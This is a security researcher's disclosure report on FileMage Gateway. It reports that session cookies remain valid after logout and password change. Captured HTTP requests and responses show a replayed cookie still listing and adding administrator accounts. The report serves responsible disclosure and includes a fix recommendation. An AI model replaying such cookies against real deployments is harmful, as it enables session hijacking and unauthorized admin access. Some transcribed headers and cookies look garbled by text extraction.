

Vulnerability Disclosure Document

Date: 01/23/2024

Introduction

Bryce “Raindayzz” Harty has identified a security vulnerability existing in FileMage Gateway. FileMage does not properly manage the lifecycle of a user's session. This vulnerability is present and identified on all most up to date versions of FileMage Gateway

Product Description

FileMage Gateway is an FTP/SFTP server backed by a cloud object storage API. Deployable from your cloud provider marketplace and billed hourly.

Vulnerability Information

1. Account Logout Session Cookie

Description	FileMage does not properly handle the session cookie when a user logs out of the application or changes their password therefore leaving it vulnerable to replaying/hijacking attacks.
Impact	An attacker can leverage the outdated session cookies to access administrator capabilities.
Recommendation	Implement session refreshes when a user account logs out of the application.

Additional Information [HTTPS://CWE.MITRE.ORG/DATA/DEFINITIONS/613.HTML](https://cwe.mitre.org/data/definitions/613.html)

There are two ways to perform the attack. Both attack vectors are mentioned below

Technical Details

Attack #1 - Account Logout Session Cookie

With an administrative account we were able to view the current list of administrators and add a new admin using GET/POST requests as demonstrated below:

GET /administrators

The screenshot displays the network tab of a web browser's developer tools. The left pane shows the 'Request' details for a GET request to /administrators. The right pane shows the 'Response' details, which is a JSON array containing one object: [{"id":7,"email":"user3@user.com","password":"","reset":false}].

```
Request
Pretty Raw Hex
1 GET /administrators/ HTTP/2
2 Host: 3.86.3.255
3 Cookie: w=
MTYSNzY2NzEwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSEwFXNW5EQUBVhVR
GFXNTBQVFBX2dIU3Yv7td6LmhsERxZ_AYjNkqBZHk_j_a_5sQXFUIuAcxA==; s=
MTYSNzY4NzQ4MnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSEwFXNW5EQUBVhVR
GFXNTBQVFBX2dIU3Yv7td6LmhsERxZ_AYjNkqBZHk_j_a_5sQXFUIuAcxA==
4 Sec-Ch-Ua: "Not=A7Brand";v="99", "Chromium";v="118"
5 Accept: application/json, text/plain, */*
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
8 Sec-Ch-Ua-Platform: "macOS"
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: cors
11 Sec-Fetch-Dest: empty
12 Referer: https://3.86.3.255/
13 Accept-Encoding: gzip, deflate, br
14 Accept-Language: en-US,en;q=0.9
15
16

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: application/json; charset=UTF-8
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 X-Xss-Protection: 1; mode=block
6 Content-Length: 64
7 Date: Thu, 19 Oct 2023 03:52:04 GMT
8
9 [{"id":7,"email":"user3@user.com","password":"","reset":false}]
10
```

POST /administrators - adding a new user called "LOGGEDIN@TEST.COM"

The screenshot displays the network tab of a web browser's developer tools. The left pane shows the 'Request' details for a POST request to /administrators. The right pane shows the 'Response' details, which is a 201 Created status. The request body is a JSON object: {"email":"loggedin@test.com","password":"password","reset":false}.

```
Request
Pretty Raw Hex
1 POST /administrators/ HTTP/2
2 Host: 3.86.3.255
3 Cookie: w=
MTYSNzY2NzEwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSEwFXNW5EQUBVhVR
GFXNTBQVFBX2dIU3Yv7td6LmhsERxZ_AYjNkqBZHk_j_a_5sQXFUIuAcxA==; s=
MTYSNzY4NzQ4MnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSEwFXNW5EQUBVhVR
GFXNTBQVFBX2dIU3Yv7td6LmhsERxZ_AYjNkqBZHk_j_a_5sQXFUIuAcxA==
4 Content-Length: 65
5 Sec-Ch-Ua: "Not=A7Brand";v="99", "Chromium";v="118"
6 Accept: application/json, text/plain, */*
7 Content-Type: application/json; charset=UTF-8
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
10 Sec-Ch-Ua-Platform: "macOS"
11 Origin: https://3.86.3.255
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://3.86.3.255/
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18
19 {
  "email":"loggedin@test.com",
  "password":"password",
  "reset":false
}

Response
Pretty Raw Hex Render
1 HTTP/2 201 Created
2 X-Content-Type-Options: nosniff
3 X-Frame-Options: SAMEORIGIN
4 X-Xss-Protection: 1; mode=block
5 Content-Length: 0
6 Date: Thu, 19 Oct 2023 03:52:30 GMT
7
8
```

The vulnerability is identified when a user logs out, it does not invalidate the session cookie.

User logging out of the session.

Request

PrettyRawHex

1POST /account/signout/ HTTP/2

2Host: 3.86.3.255

3Cookie: w=

4MTY5NzY2ZnZlEwMnxEdi1CqkFFQ180SUFBUKFCRUFBUd2LUNBQVHYzNSeWFXNW5EQU1BQVhVR

5GFXTBCQVFBX2dIU3yLv7td6LmIhsERxZ_AYjNklqBZhKj_a_5sQXFUIuAcxA==; s=

6MTY5NzY4NzQ4MnxEdi1CqkFFQ180SUFBUKFCRUFBUdQLUNBQVHYzNSeWFXNW5EQU1BQVhVR

7GFXTBCQU1BRGc9PXzibzaIrcFWPL2PMmdK5eQ8DQmkWQx7_jdIoU3jctQMhA==

8Content-Length: 0

9Sec-Ch-Ua: "Not=A7Brand";v="99", "Chromium";v="118"

10Accept: application/json, text/plain, */*

11Sec-Ch-Ua-Mobile: ?0

12User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

13(KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36

14Sec-Ch-Ua-Platform: "macOS"

15Origin: https://3.86.3.255

16Sec-Fetch-Site: same-origin

17Sec-Fetch-Mode: cors

18Sec-Fetch-Dest: empty

19Referer: https://3.86.3.255/

20Accept-Encoding: gzip, deflate, br

21Accept-Language: en-US,en;q=0.9

Response

PrettyRawHexRender

1HTTP/2 200 OK

2Set-Cookie: s=

3MTY5NzY4NzclMXxEdi1CqkFFQ180SUFBUKFCRUFBUdQLUNBQVHYzNSeWFXNW5EQU1BQVhVR

4xsBX5RE_Y3CrEZTaZLdX4K_; Path=/; Expires=Sat, 18 Nov 2023 03:55:51 GMT;

5Max-Age=2592000

6X-Content-Type-Options: nosniff

7X-Frame-Options: SAMEORIGIN

8X-Xss-Protection: 1; mode=block

9Content-Length: 0

10Date: Thu, 19 Oct 2023 03:55:51 GMT

Now when using the same session cookie, we are still able to view and add additional administrator users as seen below:

Adding an additional user called with expired session cookie "LOGGEDOUT@TEST.COM"

The screenshot displays the Network tab in a web browser's developer tools. The 'Request' pane on the left shows the raw HTTP request, and the 'Response' pane on the right shows the raw HTTP response. The response body is highlighted with a red box, showing a JSON object with fields: email, password, and reset.

Request

```
1 POST /administtators/ HTTP/2
2 Host: 3.86.3.255
3 Cookie: w=
  MTY5NzY2ZmEwNnxEd1lCQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSeWFXNW5EQ1BQVHVrGFX
  NTBQVFBX2diU3YlV7td6LmIhsERxZ_AYjNklqBZHkj_a_5sQXFUIuAcxA==; s=
  MTY5NzY4NzIyNnxEd1lCQkFFQ180SUFBUKFCRUFBUQdQLUNBQUVHYzNSeWFXNW5EQ1BQVHVrGFX
  NTBQQUlBRE9PXWdKbnjb5Uqt9139jn1qvF-_0Z63ZVqN3mLhmmxYm6ixA==
4 Content-Length: 66
5 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
6 Accept: application/json, text/plain, */*
7 Content-Type: application/json; charset=UTF-8
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
10 Sec-Ch-Ua-Platform: "macOS"
11 Origin: https://3.86.3.255
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://3.86.3.255/
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18
19 {
  "email": "loggedout@user.com",
  "password": "password",
  "reset": false
}
```

Response

```
1 HTTP/2 201 Created
2 X-Content-Type-Options: nosniff
3 X-Frame-Options: SAMEORIGIN
4 X-Xss-Protection: 1; mode=block
5 Content-Length: 0
6 Date: Thu, 19 Oct 2023 03:57:20 GMT
7
8
```

GET /administrators with expired session cookie

Request

```
1 GET /administrators/ HTTP/2
2 Host: 3.86.3.255
3 Cookie: w=
  MTYSNzY2NzEwNnxEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSEWFXNW5EQ1BQVhVRGFX
  NTBCQVFBX2dIU3yLv7td6LmihSExRz_AYJNklqBZHkj_a_5sQXFUIuAcxA==; s=
  MTYSNzY4NzIyNnxEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSEWFXNW5EQ1BQVhVRGFX
  NTBCQU1BRE9PXwdKbnjb5Uqt9139jn1qvF-_0Z63ZvqN3mlhmmxYm6ixA==
4 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
5 Accept: application/json, text/plain, */*
6 Sec-Ch-Ua-Mobile: 70
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
8 Sec-Ch-Ua-Platform: "macOS"
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: cors
11 Sec-Fetch-Dest: empty
12 Referer: https://3.86.3.255/
13 Accept-Encoding: gzip, deflate, br
14 Accept-Language: en-US,en;q=0.9
15
16
```

Response

```
1 HTTP/2 200 OK
2 Content-Type: application/json; charset=UTF-8
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 X-Xss-Protection: 1; mode=block
6 Content-Length: 195
7 Date: Thu, 19 Oct 2023 03:58:32 GMT
8
9 [
  {
    "id":8,
    "email":"loggedin@test.com",
    "password":"",
    "reset":false
  },
  {
    "id":9,
    "email":"loggedout@user.com",
    "password":"",
    "reset":false
  },
  {
    "id":7,
    "email":"user3@user.com",
    "password":"",
    "reset":false
  }
]
10
```

Attack #2 - Account Password Session Cookie

With an administrative account we are able to view the current list of administrators and add a new admin using GET/POST requests demonstrated below:

POST /administrators - adding a new user called "PRECHANGE@TEST.COM"

Request

```
1 POST /administrators/ HTTP/2
2 Host: 3.86.3.255
3 Cookie: w=
  MTYSNzY2NzEwNnxEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSEWFXNW5EQ1BQVhVRGFX
  NTBCQVFBX2dIU3yLv7td6LmihSExRz_AYJNklqBZHkj_a_5sQXFUIuAcxA==; s=
  MTYSNzY4ODc4M3xEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSEWFXNW5EQ1BQVhVRGFX
  NTBCQU1BRGc9PXzJ911easgU-EHwCdFvW18cWya_Za7llr5_2IMEwFUV8Q==
4 Content-Length: 60
5 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
6 Accept: application/json, text/plain, */*
7 Content-Type: application/json; charset=UTF-8
8 Sec-Ch-Ua-Mobile: 70
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
10 Sec-Ch-Ua-Platform: "macOS"
11 Origin: https://3.86.3.255
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://3.86.3.255/
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18
19 {
  "email":"prechange@test.com",
  "password":"password",
  "reset":false
}
```

Response

```
1 HTTP/2 201 Created
2 X-Content-Type-Options: nosniff
3 X-Frame-Options: SAMEORIGIN
4 X-Xss-Protection: 1; mode=block
5 Content-Length: 0
6 Date: Thu, 19 Oct 2023 04:21:54 GMT
7
8
```

GET /administrators

Request	Response
<pre>1 GET /administrators/ HTTP/2 2 Host: 3.86.3.255 3 Cookie: w= MTYSNzY2NzEwNnxEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSeWFXNWSEQU1BQVhVRGFX NTBCQVFBX2dIU3yLv7td6LmihSERxZ_AYjNklqBZHkj_a_5sQXFUIuAcxA==; s= MTYSNzY4ODc4M3xEd11CQkFFQ180SUFBUKFCRUFBUQdQLUNBQUVHYzNSeWFXNWSEQU1BQVhVRGFX NTBCQUlBRGc9PXzJ911easgU-EHwCdFvW18cWya_Za7llr5_2IMEwFUV8Q== 4 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" 5 Accept: application/json, text/plain, */* 6 Sec-Ch-Ua-Mobile: ?0 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36 8 Sec-Ch-Ua-Platform: "macOS" 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: cors 11 Sec-Fetch-Dest: empty 12 Referer: https://3.86.3.255/ 13 Accept-Encoding: gzip, deflate, br 14 Accept-Language: en-US,en;q=0.9</pre>	<pre>1 HTTP/2 200 OK 2 Content-Type: application/json; charset=UTF-8 3 X-Content-Type-Options: nosniff 4 X-Frame-Options: SAMEORIGIN 5 X-Xss-Protection: 1; mode=block 6 Content-Length: 131 7 Date: Thu, 19 Oct 2023 04:22:36 GMT 8 9 [{ "id":12, "email":"prechange@test.com", "password":"", "reset":false }, { "id":7, "email":"user3@user.com", "password":"", "reset":false }] 10</pre>

The user is able to change their existing password and still use the old session cookie to perform admin functionality.

POST to /profile updating the password of the currently logged in account.

Request	Response
<pre>1 POST /profile/ HTTP/2 2 Host: 3.86.3.255 3 Cookie: w= MTYSNzY2NzEwNnxEd11CQkFFQ180SUFBUKFCRUFBUQd2LUNBQUVHYzNSeWFXNWSEQU1BQVhVRGFX NTBCQVFBX2dIU3yLv7td6LmihSERxZ_AYjNklqBZHkj_a_5sQXFUIuAcxA==; s= MTYSNzY4ODc4M3xEd11CQkFFQ180SUFBUKFCRUFBUQdQLUNBQUVHYzNSeWFXNWSEQU1BQVhVRGFX NTBCQUlBRGc9PXzJ911easgU-EHwCdFvW18cWya_Za7llr5_2IMEwFUV8Q== 4 Content-Length: 64 5 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" 6 Accept: application/json, text/plain, */* 7 Content-Type: application/json; charset=UTF-8 8 Sec-Ch-Ua-Mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36 10 Sec-Ch-Ua-Platform: "macOS" 11 Origin: https://3.86.3.255 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://3.86.3.255/ 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9 18 19 { "email":"user3@user.com", "tokens":[], "password":"password1234" }</pre>	<pre>1 HTTP/2 200 OK 2 X-Content-Type-Options: nosniff 3 X-Frame-Options: SAMEORIGIN 4 X-Xss-Protection: 1; mode=block 5 Content-Length: 0 6 Date: Thu, 19 Oct 2023 04:24:21 GMT 7 8</pre>

We are still able to add and view old accounts simulating admin functionality.

POST /administrators - adding a new user called "POSTCHANGE@TEST.COM"

Request		Response			
Pretty	Raw	Hex	Render		
<pre>1 POST /administrators/ HTTP/2 2 Host: 3.86.3.255 3 Cookie: w= MTYSNzY2NzEwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSeWFXNW5EQ1BQVhVRGFX NTBCQVFBX2dIU3yLv7td6LmihSERxZ_AYjNklqBZHkj_a_5sQXFUIuAcxA==; s= MTYSNzY4ODc4M3xEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSeWFXNW5EQ1BQVhVRGFX NTBCQULBRGc9PXzJ911easgU-EHwCdFvW18cWya_Za7llr5_2IMEwFUV8Q== 4 Content-Length: 67 5 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" 6 Accept: application/json, text/plain, */* 7 Content-Type: application/json; charset=UTF-8 8 Sec-Ch-Ua-Mobile: 70 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36 10 Sec-Ch-Ua-Platform: "macOS" 11 Origin: https://3.86.3.255 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://3.86.3.255/ 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9 18 19 { "email": "POSTCHANGE@test.com", "password": "password", "reset": false }</pre>		<pre>1 HTTP/2 201 Created 2 X-Content-Type-Options: nosniff 3 X-Frame-Options: SAMEORIGIN 4 X-Xss-Protection: 1; mode=block 5 Content-Length: 0 6 Date: Thu, 19 Oct 2023 04:25:07 GMT 7 8</pre>			

GET /administrators

Request		Response			
Pretty	Raw	Hex	Render		
<pre>1 GET /administrators/ HTTP/2 2 Host: 3.86.3.255 3 Cookie: w= MTYSNzY2NzEwNnxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSeWFXNW5EQ1BQVhVRGFX NTBCQVFBX2dIU3yLv7td6LmihSERxZ_AYjNklqBZHkj_a_5sQXFUIuAcxA==; s= MTYSNzY4ODM5OHxEdi1CQkFFQ180SUFBUkFCRUFBQUd2LUNBQUVHYzNSeWFXNW5EQ1BQVhVRGFX NTBCQULBRGc9PXzfr8nZCrjoDQzQ2S5_9I6oa2ISp8aF0mwFaVucMxdnJQ== 4 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" 5 Accept: application/json, text/plain, */* 6 Sec-Ch-Ua-Mobile: 70 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36 8 Sec-Ch-Ua-Platform: "macOS" 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: cors 11 Sec-Fetch-Dest: empty 12 Referer: https://3.86.3.255/ 13 Accept-Encoding: gzip, deflate, br 14 Accept-Language: en-US,en;q=0.9 15 16</pre>		<pre>1 HTTP/2 200 OK 2 Content-Type: application/json; charset=UTF-8 3 X-Content-Type-Options: nosniff 4 X-Frame-Options: SAMEORIGIN 5 X-Xss-Protection: 1; mode=block 6 Content-Length: 199 7 Date: Thu, 19 Oct 2023 04:26:03 GMT 8 9 10 { "id": 13, "email": "POSTCHANGE@test.com", "password": "", "reset": false }, { "id": 12, "email": "prechange@test.com", "password": "", "reset": false }, { "id": 7, "email": "user3@user.com", "password": "", "reset": false } }</pre>			

Impact

Filemage contains a vulnerability that could allow an attacker to maintain unauthorized access over a hijacked session after the legitimate user has signed out or changed the password of their account.

Heirloom Security has assigned the following personnel to facilitate and coordinate responsible disclosure efforts.

Name	Role	Email
Bryce “Raindayzz” Harty	Researcher	bryce@heirloomsecurity.com